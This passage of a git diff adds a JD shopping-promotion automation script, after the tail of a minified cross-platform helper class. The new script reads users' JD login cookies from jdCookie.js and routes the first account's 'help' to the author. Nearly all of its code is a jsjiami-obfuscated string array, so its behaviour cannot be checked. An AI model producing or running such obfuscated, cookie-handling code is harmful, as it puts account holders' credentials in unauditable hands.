e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/jd_opencard_all_people_FYF_enc.js b/backUp/jd_opencard_all_people_FYF_enc.js new file mode 100644 index 0000000..41f5197 --- /dev/null +++ b/backUp/jd_opencard_all_people_FYF_enc.js @@ -0,0 +1,44 @@ +/* +直接跑完全部助力CK1 + +第一个账号助力我 其他依次助力CK1 +第一个CK失效应该全都会助力我,亲注意一下 +入口复制到jd: +24.0复制整段话 Https:/J0WK1iAopdOoEI 千万京豆等你来瓜分,万元豪礼免费赢!#NDji66mM7a@祛→【猄〤崬】 + +更新地址:https://github.com/Tsukasa007/my_script +============Quantumultx=============== +[task_local] +#8.18-8.26 全民发一发 大牌狂欢趴 +5 0,5,23 * * * jd_opencard_all_people_FYF.js, tag=8.18-8.26 全民发一发 大牌狂欢趴, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_opencard_all_people_FYF.png, enabled=true + +================Loon============== +[Script] +cron "5 0,5,23 * * *" script-path=jd_opencard_all_people_FYF.js,tag=8.18-8.26 全民发一发 大牌狂欢趴 + +===============Surge================= +8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,cronexp="5 0,5,23 * * *",wake-system=1,timeout=3600,script-path=jd_opencard_all_people_FYF.js + +============小火箭========= +8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,script-path=jd_opencard_all_people_FYF.js, cronexpr="5 0,5,23 * * *", timeout=3600, enable=true +*/ +const $ = new Env('8.18-8.26 全民发一发 大牌狂欢趴'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +var _0xodk='jsjiami.com.v6',_0x32c1=[_0xodk,'ARVQwpnDhQ==','FzfDoAzDpQ==','HsKywrjDpXo=','R8KFScKDwpE=','w4wAw6sGAw==','w4PDhcO6Gi/Dq8KxfTRmb3bDj33DgMKYWcOjw7fDhEjCkMOHw6/CtcKIDEQaw48re8O2bWA0woksHQHCkMOfID7DllLChMOZJmTCti/DoBldwo9bTsKkwrfCoAJCwr83wppo','w6LDtMOALho=','woDCu8K/w5TDsQ==','OcKOKMKRwqA=','IsKNBcOWUg==','K8KsPMKQwqI=','wrN0w5nDqlo=','Hi5Rwo3DlA==','w7caw5QeDw==','wqrCmcKTAhQ=','UMOwGsO7Ig==','XDlBw4oW','woLCksKTFSg=','PEg6AcKe','AWjDuWw7','w6vChMOhPnE=','wqEYw5bCiCA=','w4DCh8KPS8OU','wpE1WsKvEg==','WiLCicOdw7M=','HcK8M8OxeQ==','wq4nw6XCkiU=','T8KkY8K+wqk=','F8KOwo/Dng==','CyrDninDmFLDnixLK8OLw7MXezTCpwrCo0pNwpbDr8Klw4bCmMOMLcOQwrJrwpTDixnCvwbCtcK8w6TDpMOiwohrw6TDjsO3w4wea8KhR1dOw6/Cj03ClcOcw5rDv8O2w7jCq2wZw5JHJA==','w6QJw5AOHncwdsKgwrHCmcO6RMKQDlbClcKnLQfCvGZET1fCgsKLwqzDlMKvw7fCskI7CcO6w6lQOnwyw7vDmTljYMKBwr0=','XgPDicK5HA==','A8KkCcKvwqLCtHHDuRYx','OD3Cm3/CnMKyw4DDicKl','w4wxw7zCqTvDu8Kgw4kMS8KRw6pUwq7CtsKlwqBww7PDh8KrLcKnwpQHUcOgP1ttdMKBwoHDhsO8dS/DhRjDoMO4Ozw7wrLCu8Ovwo5+wpLDosKobgrClsKbe8Oew55IeVdCw4AlOsKjwoUdw6ABYkUaNEzCkMOvw5AFwoHCuC/DvlR/a8KlwqtXccKLOsOfw57DtkPCgUcVw4DCv8KIwpRMeHjDmMOJw6LDhMOVw7pFN8OwQ8O+w6rDsArCuMKywrwawqzDssOHPirDncOJwrEgSGNgwqI=','Jwo1w6PChg==','O8KcIMOXRS0mwqRzaQ==','K1nDom05XMOADw==','cMKGGsOHUxoLwqs6LsK5IcK3wqzCkkghw6jDv31RbinDpMOGwpzCncOPwrc=','OCAHw57CtMKrw554wrg=','PVzDuFMA','b2fCtQjDhCcxZjwpw4oxUAsyO8O6NcODw6JHfsKQw6bDuCMJNRoSMcKew7lcBSfDujU6w7PDoU3DhFRoSMOrLX3DlMOzRBPCrcOXJQUjT8Ktw6zCk8KpGmUuwoJvOUlGVi7DqMKYT8OwwpbCrDnCgRAAw7IWZhfDmy5YZsOtPkzCv0zDswLCswjCm8K5Z0TCuSzCsTpOw73ClMOxwp18wqcAw5kRw7Ucw6UiQwNxwqVzHcOfwrPDrwHDqsK0woPCu8KTwpLDpCkyJMKDAMO7wpArOMOsAmVuJ3NcwojCkcKHwoM9JQ5kw4vCtsOZwqjDnMOIYhs0wotTWMKxCEseBcKnGT9HEcKxwrdewqF5RsKDwoTDgsO3PQ==','GsK1LMKuwrU=','f8K3acOgw7M=','WMKvacK9woE=','YylYw5Uaw4tww6vDtTl9w7Ex','wqtywpTDg8KnwpDCuwoSwoUJCg==','DMOpwoQ6a8OGw4nCl8KjZsKFQsKpD1nCscOh','AMO4O8Obw4DCsMOmwoVHwoQaw79rHA==','w6ZHHMK2YhbDnsOMNcOxHMO7QB4=','KmobwpHDqcO3w5tCw6s=','w4/DmksWCgVQBUvCkxhaU28=','RMKQwoY6bQ==','w6jCjsKySsOj','wp82w77CswM=','w4sxwoxuaQ==','b8OlIcO/Jg==','GMKpFMKQwrs=','w4c/w7QzPw==','w6bCksOaJVU=','ThDDg8K7Lw==','EVIeI8KI','Vk7CiTjDsg==','wowgw5nCphE=','dMKPwroCQg==','ZcKgX8KswoA=','KBvDvCvDmg==','ACBU','CMKeHsKPwqI=','EGEOwrPDnA==','P085PMKO','LznCjGw=','w6AwBcK9IQ==','dsKLaMKHHw==','dgvCjcOtw4k=','woMtw5vCrD0=','w4nCmcOv','dcO7SsOOJ0kew6DDsQ==','TE1mw7Q=','w7bCkcKSw7/oroDms4DlppjotKbvv4Porq3moITmn6fnvqDotLvphrforKI=','w6nCssOxwrjCli8=','wrnCuMKYIgk=','ExbCnGDCvA==','ekbCqwzDrQ==','wotHwqzDksKawqk=','acO8VsO2Dw==','CsK+L8KVwoI=','Bz3DnArDpQ==','bsO7TMOXOhRYwqnDpALCksONwrd1CsKcw5LCiwnCrMKyKcKVw6DDvBslEcKCw6LCnA==','R8ONIcOdGA==','wovDkwd2w5o=','dsKPwrEWfA==','WwJpw4Qt','BznCjn3CsQ==','N8OqaMKyw4o=','w4nDgmE/KA==','w53CmsOnBkI=','IyzCjH3CisO8wr/Cj8KnwrZ+wplnfCnDrnUXwrp1wrjDuMOXMcO4NgPDsUtFC8Kdw45vwpdswoHDmMOTwrAew6VfaRNAXMKpV8OZw4ZTw7Ryw48Vw7rDnSEYw4VqXcKew7McE8ODw7E1w7bCuGHCnsOQN8KmK0jDmx8rEcKqScKIw5TDtX3CpMO2wonDqG/CjlzCg8Kqw5cMwqDDv8K/CcObwr3DhEUefcKPCcKnwpZewqbCqhPCvmrDgMOgwq0+w4IYwpNUScOHwp7Cr1bCv8Oi','F8ObTGPCo8KfCcKDw5Y=','w6A7C8K9IcOQbHTDpg==','X3tZcsKx','w6TCmcKrw4LDlMK0XMOHw4xEw59gdAHCgcOYQcOgPyVawq/Co2HDgMOgVsO2woLCuGjDt8KWwoBFw67CmsK1w5E0w6Y6wpMOFxBPw5TCrELClcKew4HDusOCwoLCl8O/BsOlwooZNMO7w6zCqMKIwogtQMK2wo7Dr8KvcMK5B8OFwqXDt8KmO8OlJ8KDwpMHQBbDmsKqZnBPVwoFO8OET8O7ZwlJw481QmjDu8Ksw6nCksOPasOVSmd/IcKDwqfDt0cxO8Kww4lxwohRBgXCg07DgsKUwrEjwq5+ElPDuGHCgmUVYMOjwoDDkMOSw5DClUrDpXENQMK5wrDDq8OLTsKoOgbDkCbCk8KFDcOUfsKPwqkAw48VXcKQImbCh8OsaQ16wqzDnEXDt0I4woHDnDEfw49yTMKcwoY=','KMKvw7hKesKTw73DumkGw4jCrl3Crw==','acOvNcOiAcKtwq3CrmxPKDI=','IwNWZ8K3wo/Cs8KFGkjDrQ1dw7dRS08=','wpE9AsK3eRXDhMOBNcOyDsOyR2Y=','XcKIQsKtw5UFACcnwpzDgMK1f8On','w4TCrcKVacOcFRDDn3JD','wrpRWMOvw4tbc8OawqM=','WCLCgMO9w77DkMKPw6nCisKOworDr11X','a8K1w4VUeA==','EsOnVEXCsw==','KMOSWsKXw4M=','wr0vw4HCswo=','FX4UwpXDlg==','WsOcw4HClyXDhcKCwpUMOTEzw6/DvsKAZcOhw6zCl+S8j+mCoeitv+S4qO+9qFQ=','IsKoZsKKwqMtDkjClBwYZsKYKsK/WcOKw5XDmMORNsK7eMKvEDXDpy3CnW5ew58/w74=','w4PDhcO6Gi/Dq8KxfTRmb3bDj33DgMKYWcOjw7fDhEjCkMOHw6/CtcKIDEQaw48re8O2bWA0woksHQHCkMOfID7DllLChMOZJmTCti/DohJMwoVGaMKgwqvCjS5Nwrk2','BcOQWXjCsMKjCMKTw7vCsE4EYDfDisKZw4bDqkbDtcOGwopoeTPCpsKLFUzDvHxcwpDCocOKwo5rGHLDqsOvw6vCiVPCosOTQ8KjSMOnLUNmUw==','wosiw6HCqADDg8Kywp0A','BF9jw7ACQ3fDlcKlw6RE','w7bCtcO3wo/CgQjCkUAo','w5zCjsKDLkI=','w4k2GMKWBg==','CsKYwqzDg3bCn8O7w4lFZQ==','EDvDiSvDjhzCoWpJ','FsOHcMKM','wpZGccO2wqE=','w7nDt3wfDA==','w6zCrcOQwo/Crw==','w5nDkUcnMQ==','wq1uw5TDlHk=','w74jwq1sbQ==','UMKowqcrRg==','HcObK8Otw4A=','w4DCtcOAKk0=','wqZ4w5bDr0s=','W8Kmwq8=','JcKmdcKA6K6b5rGE5aet6LWb776D6KyR5qKH5p+w57+16LWD6YaZ6Ky+','a8OqS8OUKEkS','wrTCi8K4w4fDkQ==','f8OwLsO8AQ==','fsOFSsOqHQ==','d8OKUsOeEw==','A8KAwojDiw==','dEx9','wqpJasOMwoI=','UHpmw7Up','wr/CpMKPw5Ec','w67DuGYk','w5DDg3sOCw==','W8Kmwq8lRsOg','wrdxwqrCmSQ=','ADVXwpbCncOrwqLCq8OXwrXCvMO/C1DCiMObf0xCwqsDw7jDow==','w4jCpMK1bMObETXDim9Nw5I6KMK+wofDtQ==','w4seJsKHMMOxaU/Dp8K4w6gWwqsG','fMOnFcOEJw==','UyLCtsOnwrbCgMKCw6LCs8KWwoTDsF0VwrzCssKt','VSjCr8O7w7PDg8KHw7PCvMKVwovCq0AUw6vCp8KowqxfwpbDoh1RWsKYw5fCgsKWwoDDsMOObsOHwpjCvRUiwpLChcKBdSjChMOfICpGw5s=','wqtPw6rDsXANGMO0CcONAwsKw7vDuXcDEhvCqknDvsKoMGkVwpnDohNwXA==','w4jDhXEMQxRVAmLCgg==','FjjDt1TCnipjfjE3wp4oTCE+Y8OteMOLw7J2fMKGw4LDsnVPPxJCd8OF','DMOHWWHCtcOwU8OFw57CrhdNZi/Dh8KIw5HCpRbDo8KDw5JoIT/DpMOfWU3CqyI=','w7Iswpd2SA==','wp4Rw7vCqD4=','FcKvFcOqXQ==','BBrDuTTDoA==','QyPDpcKRPw==','w7rDiHQfBw==','YgVRw4Ia','a8Kaw4VkeQ==','X8K9wrwQR8KowqnDs8KKUsK+bsOZbmXCh8Kqw5zCg8Kywr/ClcK4ZsKQwq5Rw4Brw4jDhX1JPCQcw7zCucKkw7sPQTMaS8KvXcKnwqHDoMK9MTbCgcOPw5HDnMKnG8Kew6g4w53CqWk/wrQyKMOawpJfdFRBcEzCqcOKWsK5w4fCgMOkXmbDucKUw7/DtTjCgQ/CvMKFa8OaW8KaJwTCoyPCgsKAw54FccOzLcKPw73CkcK6TcKpw6FewpVmRcKjQMKqQ8O/f2hfMQ9ZGmAA','wqQ+b8KwFEFywrhl','wrHCkMKuw4PDnsKUW8ONw40=','AcOxdVXCog==','wrUyDsK8K8Owa37Dp8O0wrsAwrATfxNedQYLGMK2w6l6w6wjwp5uwpkKMMOxwpYvZVkUwo/Cj8OPwqgMwoUVRcOpLDEgw7zCuS3CoETDlsK/wq/DihjCtElPEAbDh3koYcOPFko6wrTDr8OoW8ORwobDhsKYw5fDpcOxw4fDuwYywrQyVMKrwqw7WWbCksOIwqwvwrnCmC7Cmlxqw4ZYXCwDTGjCocKQwrNlwqQER8Kgw7wuwo9gw5oiwpMIwo8Xw47Cnn5vwoTCklTCoULDmMOYwrHCh3bCo0PCpAfDgMO4FMKewpJEwps0w5fClcKpw5TChy5xA8Ktwok1woXCjcKeei7CmcK2wqQrV8KywodNCFnCgMK5w5XCrcKbw7XCicKow7s5w5Iiw7/Dp8KXwrrDklfCmsOxSg==','w6LCtMKVw67Dr8KOZcOhw6cmwrJWRV0=','wpbDo2sMw47Dg09ASTk6Xg==','XMOBwrDDsEfCrMOww6N0SlNYwpPCj8OoHcOh','GQxKw4Qkbn3Do8KTw5UqPcOHRA==','T3HCnwjDhiwUKH1m','w6onwqFVesKgwofClcOX','w4fDi8ORADjCocO3PAdoZGfCmz4=','AcO/RcOxw53DicKTwoVdw7gIOsKDdcKwMQ==','DFw9wrHDk8OCw4xuw4s/','w4rDk1oTChA=','dyALwobDosOnw4VEw7ECVjM=','dRjDq8KMFSY=','woZxwqHCsw==','REN5w5QRRUo=','HDpAwoQ=','AcOdWw==','LsO3clXCg8KIKcKt','wr/Dkws=','wqAFw4rCgzfDlMKSwrM=','UjnCs8Okw78=','wrrCv8Kl','PmoMwofDrcO3w6o=','TsKjYMKPwq0yLGU=','wopxwqzCpAfDlQw=','wpnDkhJfw7Qww6RsGw==','w47CscKxZMOTBjU=','TsKjYMKPwq0yFWvDvw==','wocgw6U=','BMKOwpPDgXHCnQ==','wr1qZcOwwrfCpQ==','5omc5Ymd5LuE776Fw6E=','44Cy5o+Y56e144Gw6K2f5YSD6I+n5Y6famjClXoRIlHnmqHmjKrkvLLnl5DCjH0nw4nDo8O355uD5LuX5LmG56yN5YmG6I6m5Y2w','BDtHwpzDn8O8w6TDt8ODw77CtMOiU1fDhcOddBdFw6oNwrg=','CyrDninDmFLDnixFNMOOw6cIO3PCvhjCo0BRwo3CqsKkw4/ClsOXZsKNwrhjwpfCrRPCsg3CqsOow63DrsK5woV+wqU=','wrHDrcKmw43DlGw=','6buc5Yy7Lg==','wpIMSsKKHA==','w7PChcOOwrHCsw==','wqPCksKOw5I1','5YSL5L+HY8Om','wqLCvcKhLgc=','5puy5ZGB5YS16YCL5YWT5L2E776bwq8=','wpnChsKeMww=','OnYY','woN1wrXCpQ==','w60UwodFVw==','woZOwprDuMK7','wpvCmMK7Lyw=','w6QAw443Ow==','C8KEwpLDjWzCkA==','HjsDw57Cn8Kfw4Z0','w4XDpsOWMA0=','RhPDlcKgJg==','a8OuTMOEIQ==','wrPDl1A9w7k=','Z8KCwrEaVQ==','P8KWPMORTCMM','TGHCrArDpio9LA==','Qxxg','bMKiKcOSwqtndU7lvbjlpILjgoPkuZzkuLHot7zljbk=','S0Jvw7QI','K1nDom0ZXMOADw==','HivCnX/Ct8Knw73DhQ==','w6jDksOlwpvCkcOrBMKOwoNz','RcKow6t2Sw==','woRnwpTCrwHDiAM=','w4bDgsOp','wrViZMOh','44C/5oyA56Sq44Kzw7vDtMKjwq9zw5jltrTlpZ/mlpg=','5Lqq5LqT6LSe5Y2Q','Rh1jw6Qt','wqzCkcKsw5rDtcKgQ8OB','woIla8KwP3VqwrQ=','aeiuqemFp+aXqeebkOW8veiNhuWPlS05w5vDvVYlZ8O7U8OvRl/CjsKrwqvChMKdw51nwp3CvmnDlsKGGMK3BsO9wrXDpcOqwqPCpX/Cr8OEw7/ChxFLwrRcXA8=','M8KGHsOYWA==','w4LDgsOABTjCtA==','UUllw7U+SVbDicKqw7k=','w43DgXkZ','woRHwqTDvMKBwr7ltIzlpbXmlIXDrmFz','wr8yw7DCtTzDt8KqwpE=','5Lm65LuM6Lek5Y2B','CjDDjjzDkw==','w5AZw4EVJn8pag==','buithOmHoOaWoeeaveW+n+iPi+WMvMORwrscXD5n','w43CtcKxYQ==','LwTDtQ3DpCPCtE14GsOqw5A=','SsOVZ8OzBmUyw4jDlzPCs8Ou','wpbDo2sMw47Dg09ASSQ+S8OrUQ==','wq03HcOLwo4maDPDgAvDuwkTw5o=','XsK6wr4vVsO0w7PCr8KFScKue8KaF2PCn8K5wpw=','Jzx/wqXDpw==','OnwvJMKKw4Jaw7PDlMO0','aV9Hw5g7','DUkvJMKg','Qm9KVMKs','CGnDiWc2','wrZ6WcOtwrzCsMOSwp7DqsOW','w47DmUQVABJ9CmDChg==','bw7DhsKRFDdlw6TCvw==','acKIQg==','wpJyRcO3wqM=','bWPCvQnDig==','CMODHMOHw40=','DSxHwoPDnsKTwr7CscOFw4nCsMO/DQ==','PcOJLcOfw4U=','woAONsOwwrM4WBTDuw/DnzY2','RcKDRsOJw6k=','D3fDo1ce','wpDDuh9lw5Q=','wo0CJcOawrMf','wrs5aQ==','wpPDiHgrw7A=','wrfCs8K2w5kFw5fDnGrCqw==','w4LDg2ATHCBMAnDCtRJCRg==','YcKGUcKo','w6TCvsOiwpLClgjCkUAo','w6zCsMOfwq/Cvg==','SxJzw6A=','IVHDtWc=','w6TCscO6wrLClDjCimotX8K8','w7/Cv8ObNVQ=','w7gAwqhJRg==','bh93w604','woF7wr8=','FBnCj8Oe6K2t5rOi5aeX6Lai77+Z6KyN5qCl5p2h572p6LeW6YWR6KyF','JlHDs2IbVMOeHsO6','wpbCkcKN','bMOsH8O0OA==','ScKZw45nWQ==','N24VwoY=','wpPCi8KNGT0=','fsKCw45gSw==','VznCrcOzw5bDicKVw7PDpw==','fcKCwrozQQ==','JTTDjwDDkw==','wqwrw7DCngo=','YivDlMKBOA==','dsKzwqQSQw==','aMOuVcOC','dR7DgsK6Mw==','wqzDnBFBw7g=','ScKEw6FCTQ==','wqVbXA==','wp1zdsOow48=','wpkZbcKKNQ==','wrY6YsKNAXFpwpJgeCk=','cU5Tb8Ky','wpIiBcOIwqw=','DyBBwrnDuQ==','KsKgwr7Dj2s=','UnRpw7g5','FsOwYcKRw4g=','KV/Dpg==','WBrDgMKxK8O7w6nDn8Ob','AQMUw7/CpA==','wqhXT8Oyw5x6VsOawqk=','D3vDs1Ui','PkMTwrLDmw==','w4LCusOjFVI=','HydSwp7DicKTwr7CscOF','wrvDmkA3w7PDnX9ncg==','wq9Uw7k=','f8KbacOYw7k=','ZTjDhsKoOg==','w6bCvMOiwp7CjA==','CiZdwo3DgMKqwrI=','wr7DkhNR','aTjDpMKaLQ==','wqVdwp7DocK+','H0LCmcO2eMOPwq/CgcKHF8O4WMOlMMKewoXCrQnCl8O1wqATeXg9E8O9b8KKEMKBwoY=','wrYmwqtJeMKuwr/ClcKWw5jCuMKFw4d2M8O+UHFpw4vCmh9SwqLCnG/CnVbCpiHCpA==','wrLDjUAow7LCsiUheggbfcKPOTcOQcKPWMOELkfCqkbDlCnCoVhVKMOITXkQcCHDvsOWw7fDolnCq8KvHDoWwo7DhMKeJXHCmCzCosOCwq97w4DCosKgw6Z3','wrcVKcOcwo8=','QcKfa8KBwqE=','w7ESAMKKCg==','w5wbwqxJZg==','ScKbbcKdwqU=','RMOWHsOfOMKPwpzCmXpgUFjDujMzHcKrMsOMH8KCw4DCsMO0w59ww58Ywqg8w50Qw5g8esKlV8KEw4tFUSTDvwNKwozCmV4=','wqADRMKVGg==','wq5Cw47DqG1Qc8K6EcOW','dcOqW8OVLFonw6/Dpg==','w6TCmcKsw4XDlMKze8ORw4Adw4Q=','NmYLIsKWw7Brw7vDhA==','asOWBcO8w6TCr8Oawrt9w69pwoAYLRTDuT4/FUd1Y8OWwr7DvMO+w4vDkMObw71Aw7RwcnnDtj1ewp1GHSrCqhs=','w5bCnsOpNmBGwowOGA==','wqnDkVUqw6TDnX9ncg==','GQoKw6HClw==','UkN4w6U=','GBzCjGzCnA==','IBLDpz/Drg==','KsKvFsKfwpk=','asOgXw==','wrTDnBBR','BcO0OsO/6K655rKk5aeZ6LeF77y/6K+z5qKt5p6O576c6Lep6Yaa6K6q','eD7Ct8Oxw74=','wpF7ZsOmwoA=','QVtMw50W','JsOEDcOhw4I=','woUMNsO+','C8KOwps=','w6bDtnUAGS8=','wodncsONw7o=','KMODEMOu','44Gz5o6O56aQ44GI6K2c5YSg6I2G5Y+VRD7DgMOiTzNX55ig5o+Z5L+y55SLcMKPw6fCv8OuwpbnmL3ku6Xku6Lnrq/liLTojY7ljLI=','BsKpLcK2wr/DqRrCtwA1w7FSVTkUd8O4wrPCviHConQ=','wpHCvcKHw7sR','CBnDjhfDkg==','wq/Cq8KaGD0=','SsKJw4pmaw==','f3hewpnDp8Kfwpgmw6RPKcOhwrNNwonCozDDuMKBw4XDpsOJKcOOw6JpRsKcQxnDozg=','GMKtwqEOU8Oow67CtcOJXMK7Z8KDIm/CgMOzwp3CmsKkwqfCvMK6eMKbwrhawoNlw4jDhn1CIzM0w6fCvcK9w51FRiZHHcOXDsOlwojDrsKmbjzCgw==','wrLDjUAow7LCsiUheggbfcKPOTcOQcKPWMOELkfCqkbDlCnCoVhVKMOITXkQcCHDvsOWw7fDoknCsMOzGCsQwpTCqMKQJ3DDmQnCrMOcwqd3w5jCnMKlw6Zpwo4bw4grwrbDgcO/wqczw4jDrsOnTUTDl8ObMcK+wqt5wq1bwos=','f8K+wpkvRA==','wqHCssK5w7TDvg==','a8Kpw5RQaw==','Q2vCuwjDniIkMEBjw4ciT3I/N8OuLMOBwqchd8OTwpPDtXBLOBFOIsKTw6BUGCHDuCB2w77CqBzDj0kpZsO2YkHDrsOySFfCog==','JFPDtWklaMOYA8Kv','w6TCi8Knw5DDicKke8ORw4Adw4Q=','wpRAwqrDpcKNwo7Ciy0p','FcOAYsKKw6QYKg0c','Vy7DvcKgAA==','CQNuw69o','w7LDmXIpBQ==','wrAeDcKKWDnDhcOuHsOF','w5DDhXcOCwFpAno=','UmfCvBU=','wrl2w5rDiWY=','w4vCm8KPdcOF','KMKQDMKDwqQ=','wogOAcObwps=','HkEdJMK2','DAvCv2/Cgw==','BsKJGsKuwrw=','DsO8QMKQw7E=','VBzDtMKsAQ==','McKnG8OrUQ==','f2FxaMKS','wrTDmFk9','dsKkIMO36K+c5rCI5aWT6Leg77yL6K+/5qCa5p6u576O6LS66YSP6K+0','wqt2esOs','wodFVMOkw4s=','w6cAw6YvJw==','b8KmTcKswos=','dVB9','QRJqw6Q=','wocOG8K5eg==','wpzDuDhTw5k=','wqFtwo7DsMKs','YcKjaMKhwrYl','KMOHdEfClg==','wrEIOsKmRCw=','ZMKMw4U=','TsKcCcKP6Ky75rKR5aSE6La9772u6K6n5qGQ5p+Z57yq6La76Ye36K+I','csKJY8K5BQ==','YldwaMKS','w6TDssOPMjQ=','VhrCmsOEw4k=','AGjDp8KiwqzDgcOVwrDDrcOKwoHCvQxfw7nDpsK9wrQKw4nDtElKSsKOwonDk8KdwoLCq8OMaA==','Y8OGDcOhw6jCgcOLwqI3wrYhwpxRKRDDpBYIBk8vdcKKw7nCqcKawprCk8KA','w63CqcOiwo3Cl2fDiwYgV8K8w4DDgjPCtgYCR8KwwqvCsSowbMOiwp7DvGjDnjfCtgJvegc9cQQUw740wpTDqXPCliUcw7oyw5NHwrXDm8OQw75ewonCvV7DgA==','OcK9HMOLQg==','WsKwwpgJWsO1w4LCvcKSSQ==','FMKEwp/DmH3CjMOvw4Ff','EizCvsOkw7HDtMKfw7fCsMOHw5fCokxYw6/Cu8KJw6BVwozDtU1OGMOZwo3DnsOOw5rCucOLaMOXw4zDrwM/wprCk8OP','DSxHwoPDnsKTwr7CscOF','EivCt8O2w6jDhcKzw7LCvMKew5g=','wqXCuMKjw4QSw5fDnGrCqw==','VsOdC8OEK8Kzwp3CiVc=','IFYsIMK9','Xxx0w7U=','DhrDrSvDgA==','N8ObQMK2w5M=','wpoRw6LCjSM=','EcOHT2DCjQ==','w7Ilw6ceJA==','TcKfXcOzw5k=','TmfCqA==','wo8ML8O6','TA5jwqXorZvmsoTlp7rot73vvq3orazmoJXmnannvKzot5XphKboraI=','w7UtwqU=','wrbDkho=','wpk1w6fCrhzDscKuwpId','wrjCscKvw5M=','wqrDmEIM6K6c5rCf5aSy6LWl776i6K+w5qCs5p6v57+W6Lep6Ya16K2D','fcKXw4BkZQ==','wr4iw7rCoxc=','Ci7DrxrDkQ==','TmfCqCTDmjk=','JzfCnw==','wqQifMKrH3Nuwrd4','TkNs','CMOJbsKd','PCrDtcKq6K6G5rCB5aSE6Lao77+d6K6W5qCV5p+757+b6Le/6Yej6K+r','VzXCsMOkw78=','wr7DmEA5','wp4kw63Cs13DpsKrwpUNUcOewrpkw6PDpMKWw7Ynw4HDn8OMP8KIw5RY','wr7CpMK2w4YEwrjChizCrirCrSzCnMO6EMKTw43DuMKCwrg=','B8OYasOWw6xjNQBWwqrDvMKd','wqD